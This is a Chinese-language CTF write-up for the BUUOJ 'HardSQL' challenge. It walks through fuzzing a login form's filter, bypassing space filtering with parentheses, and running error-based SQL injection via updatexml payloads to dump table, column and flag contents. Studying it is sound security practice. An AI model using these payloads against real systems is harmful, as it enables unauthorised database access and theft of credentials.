題目連結:https://buuoj.cn/challenges#[極客大挑戰 2019]HardSQL
開啟題目後,環境如下。
只有一個登入框,因此八九不離十就是 SQL 注入題目。
首先嚐試使用萬能密碼登陸,Payload:admin' or 1=1;#
。
從回顯來看,網站應該存在 WAF 或一些對使用者輸入的檢測,接下來嘗試 fuzzing 一下看看有什麼字元是被過濾了的。
長度為 789 的響應包即是被過濾了的字元。
可以發現,如 union
、and
、=
、
等字元都被過濾,因此就要考慮如何繞過空格的過濾。
經過嘗試 %a0
、%0a
等多種方式,發現均無法繞過空格,因此只能使用括號來繞過空格。
嘗試 Payload:1'or(1)%3b%23
發現,後端是由單引號 '
閉合。
透過分析 fuzzing 的結果,發現報錯注入似乎沒有被過濾,接下來嘗試報錯注入。
Payload:1'or(updatexml(1,concat(0x7e,database()),1))%3b%23
,獲得資料庫名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%3b%23
,獲得資料表名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%3b%23
,獲得欄位名。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(((password))))from(H4rDsq1)),0x7e),1))%3b%23
,獲取 password 欄位的內容。
發現輸入長度有限,於是使用 left、right 函式進行截斷輸出,然後再將 flag 拼接起來。
Payload:1'or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%3b%23
。
參考連結:https://cloud.tencent.com/developer/article/2359640